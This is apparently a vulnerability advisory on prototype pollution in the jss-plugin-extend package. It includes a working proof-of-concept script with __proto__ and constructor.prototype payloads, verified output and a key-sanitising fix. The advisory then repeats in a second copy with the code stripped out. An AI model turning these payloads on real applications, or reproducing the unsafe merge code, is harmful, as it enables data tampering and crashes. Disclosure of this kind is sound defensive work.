Summary
A critical prototype pollution vulnerability has been identified in thejss-plugin-extendpackage. This vulnerability allows attackers to modify the global Object.prototype through crafted input passed to the plugin's onProcessStyle method, potentially leading to arbitrary code execution, data tampering, or application crashes.
Vulnerability Type
Prototype Pollution (CWE-1321)
Prototype pollution is a type of vulnerability that enables an attacker to inject properties into JavaScript object prototypes, which can then be inherited by all objects in the application. This can lead to widespread unintended changes to object behavior.
Vulnerability Root Cause
The root cause of the vulnerability lies in the package's recursive merge logic (used to process the extend property in style objects) that fails to sanitize or block special prototype-related keys (__proto__, constructor.prototype) in user-controlled input. Key issues include:
-
Unsafe recursive merging: The extend/mergeExtend functions recursively process user-supplied extend properties without validating keys, allowing malicious__proto__orconstructor.prototypekeys to propagate through the merge process.
-
Dynamic property writes: The code uses unfiltered dynamic property assignments (e.g., newStyle[prop] = ...) that directly write attacker-controlled keys/values to objects, including prototype chains.
-
Lack of prototype protection: No safeguards are implemented to prevent modification of Object.prototype during the merge/write operations on user-controlled style data.
Vulnerable Code Locations
Core Sinks (Source Code)
| Field |
Value |
| Critical Vulnerable Line 1 |
Line 44: if (!(prop in newStyle)) newStyle[prop] = {} |
| Critical Vulnerable Line 2 |
Line 45: extend(style.extend[prop], rule, sheet, newStyle[prop]) |
| Critical Vulnerable Line 3 |
Line 48:newStyle[prop] = style.extend[prop] |
| Critical Vulnerable Line 4 |
Line 74: mergeExtend(style, rule, sheet, newStyle) |
| Critical Vulnerable Line 5 |
Line 84: if ('extend' in style) return extend(style, rule, sheet) |
| Affected Compiled Files |
dist/jss-plugin-extend.bundle.js (Lines 88, 92, 102)dist/jss-plugin-extend.js (Lines 14, 49, 94)dist/jss-plugin-extend.cjs.js (Lines 64, 68, 78)dist/jss-plugin-extend.esm.js (Lines 55, 59, 69) |
Proof of Concept (PoC)
The following PoC code (adapted from poc_test.js) demonstrates the prototype pollution vulnerability. It verifies that crafted input modifies the global Object.prototype:
javascript
const { createRequire } = require('module');
const req = createRequire(__filename);
// Load the vulnerable jss-plugin-extend package
async function loadPackage() {
const __LOAD_CANDIDATES = [
'./package/package/dist/builds/node.cjs',
'./package/dist/builds/node.cjs',
'./package/package',
'./package',
'./package/index.js',
'./package/package/index.js'
];
let lastErr;
for (const p of __LOAD_CANDIDATES) {
try {
const m = await import(p);
return m && (m.default || m);
} catch (e) {
try {
const m2 = req(p);
return m2 && (m2.default || m2);
} catch (e2) {
lastErr = e2;
}
}
}
throw lastErr || new Error('Failed to load target package');
}
// Prototype pollution check helper
function checkPollution() {
const globalPolluted = ({}).polluted === 'yes' || ({}).isAdmin === true;
const localObj = {};
const localPolluted = Object.getPrototypeOf(localObj).polluted === 'yes';
return { global: globalPolluted, local: localPolluted };
}
// Main PoC execution
(async () => {
// Clean up existing prototype properties
delete Object.prototype.polluted;
delete Object.prototype.isAdmin;
const lib = await loadPackage();
const plugin = (typeof lib === 'function') ? lib() : lib;
// Test Case 1: __proto__ in extend object (TP0001)
try {
const payload = JSON.parse('{"extend":{"__proto__":{"polluted":"yes"}}}');
plugin.onProcessStyle(payload, { options: {} }, { getRule: () => null });
const result = checkPollution();
console.log(`[TP0001] Prototype Pollution: ${JSON.stringify(result)}`);
// Expected output: [TP0001] Prototype Pollution: {"global":true,"local":true}
} catch (e) {
console.log(`[TP0001] Error: ${e.message}`);
} finally {
delete Object.prototype.polluted;
}
// Test Case 2: constructor.prototype in extend (TP0002)
try {
const payload = JSON.parse('{"extend":{"constructor":{"prototype":{"polluted":"yes"}}}}');
plugin.onProcessStyle(payload, { options: {} }, { getRule: () => null });
const result = checkPollution();
console.log(`[TP0002] Prototype Pollution: ${JSON.stringify(result)}`);
// Expected output: [TP0002] Prototype Pollution: {"global":true,"local":true}
} catch (e) {
console.log(`[TP0002] Error: ${e.message}`);
} finally {
delete Object.prototype.polluted;
}
// Test Case 3: __proto__ in extend array (TP0003)
try {
const arrElem = JSON.parse('{"__proto__":{"polluted":"yes"}}');
plugin.onProcessStyle({ extend: [arrElem] }, { options: {} }, { getRule: () => null });
const result = checkPollution();
console.log(`[TP0003] Prototype Pollution: ${JSON.stringify(result)}`);
// Expected output: [TP0003] Prototype Pollution: {"global":true,"local":true}
} catch (e) {
console.log(`[TP0003] Error: ${e.message}`);
} finally {
delete Object.prototype.polluted;
}
})();
Verified PoC Output
plaintext
[CASE_ID=TP0001] [VULN_BOTH] global=true local=true tp=extend-object-__proto__
[CASE_ID=TP0002] [VULN_BOTH] global=true local=true tp=extend-object-constructor-prototype
[CASE_ID=TP0003] [VULN_BOTH] global=true local=true tp=extend-array-__proto__
[CASE_ID=TP0010] [VULN_BOTH] global=true local=true tp=dist-constructor-prototype
[CASE_ID=TP0011] [VULN_BOTH] global=true local=true tp=dist-style-__proto__
[CASE_ID=TP0012] [VULN_BOTH] global=true local=true tp=dist-style-array-__proto__
4. Recommendations for Fix
Sanitize Special Keys: Block or sanitize __proto__, constructor, and prototype keys in user-controlled input before processing the extend property.
javascript
// Example sanitization function
function sanitizeKey(prop) {
const forbiddenKeys = ['__proto__', 'constructor', 'prototype'];
return forbiddenKeys.includes(prop) ? null : prop;
}
Summary
A critical prototype pollution vulnerability has been identified in the
jss-plugin-extendpackage. This vulnerability allows attackers to modify the globalObject.prototypethrough crafted input passed to the plugin'sonProcessStylemethod, potentially leading to arbitrary code execution, data tampering, or application crashes.Vulnerability Type
Prototype Pollution (CWE-1321)
Prototype pollution is a type of vulnerability that enables an attacker to inject properties into JavaScript object prototypes, which can then be inherited by all objects in the application. This can lead to widespread unintended changes to object behavior.
Vulnerability Root Cause
The root cause of the vulnerability lies in the package's recursive merge logic (used to process the extend property in style objects) that fails to sanitize or block special prototype-related keys
(__proto__, constructor.prototype)in user-controlled input. Key issues include:Unsafe recursive merging: The
extend/mergeExtendfunctions recursively process user-supplied extend properties without validating keys, allowing malicious__proto__orconstructor.prototypekeys to propagate through the merge process.Dynamic property writes: The code uses unfiltered dynamic property assignments
(e.g., newStyle[prop] = ...)that directly write attacker-controlled keys/values to objects, including prototype chains.Lack of prototype protection: No safeguards are implemented to prevent modification of
Object.prototypeduring the merge/write operations on user-controlled style data.Vulnerable Code Locations
Core Sinks (Source Code)
if (!(prop in newStyle)) newStyle[prop] = {}extend(style.extend[prop], rule, sheet, newStyle[prop])newStyle[prop] = style.extend[prop]mergeExtend(style, rule, sheet, newStyle)if ('extend' in style) return extend(style, rule, sheet)Proof of Concept (PoC)
The following PoC code (adapted from poc_test.js) demonstrates the prototype pollution vulnerability. It verifies that crafted input modifies the global Object.prototype:
javascript
Verified PoC Output
plaintext
4. Recommendations for Fix
Sanitize Special Keys: Block or sanitize
__proto__,constructor, andprototypekeys in user-controlled input before processing the extend property.javascript